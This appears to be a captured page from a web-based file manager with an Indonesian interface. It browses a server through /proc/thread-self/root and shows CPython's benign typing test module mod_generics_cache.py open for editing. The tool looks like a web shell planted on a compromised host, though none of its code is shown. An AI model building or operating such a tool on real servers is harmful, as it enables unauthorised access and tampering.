PATH: //proc/thread-self/root/opt/alt/python311/lib64/python3.11/test/typinganndata
FILE_BARU
CREATE
FOLDER_BARU
MKDIR
UPLOAD_FILE
GO
[ .. KEMBALI ]
📄 __init__.py
↓
X
📁 __pycache__/
X
📄 _typed_dict_helper.py
↓
X
📄 ann_module.py
↓
X
📄 ann_module2.py
↓
X
📄 ann_module3.py
↓
X
📄 ann_module4.py
↓
X
📄 ann_module5.py
↓
X
📄 ann_module6.py
↓
X
📄 ann_module7.py
↓
X
📄 ann_module8.py
↓
X
📄 ann_module9.py
↓
X
📄 mod_generics_cache.py
↓
X
SAVING...
BERHASIL DIUBAH!
EDITING: mod_generics_cache.py
"""Module for testing the behavior of generics across different modules.""" from typing import TypeVar, Generic, Optional default_a: Optional['A'] = None default_b: Optional['B'] = None T = TypeVar('T') class A(Generic[T]): some_b: 'B' class B(Generic[T]): class A(Generic[T]): pass my_inner_a1: 'B.A' my_inner_a2: A my_outer_a: 'A' # unless somebody calls get_type_hints with localns=B.__dict__
SIMPAN PERUBAHAN